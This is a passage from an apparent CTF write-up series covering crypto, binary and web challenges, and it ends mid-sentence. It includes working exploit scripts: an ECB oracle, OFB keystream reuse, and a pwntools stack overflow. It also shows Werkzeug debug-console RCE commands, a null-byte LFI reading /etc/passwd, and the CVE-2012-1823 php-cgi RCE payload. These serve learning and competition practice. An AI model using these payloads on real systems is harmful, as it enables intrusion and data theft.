b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to 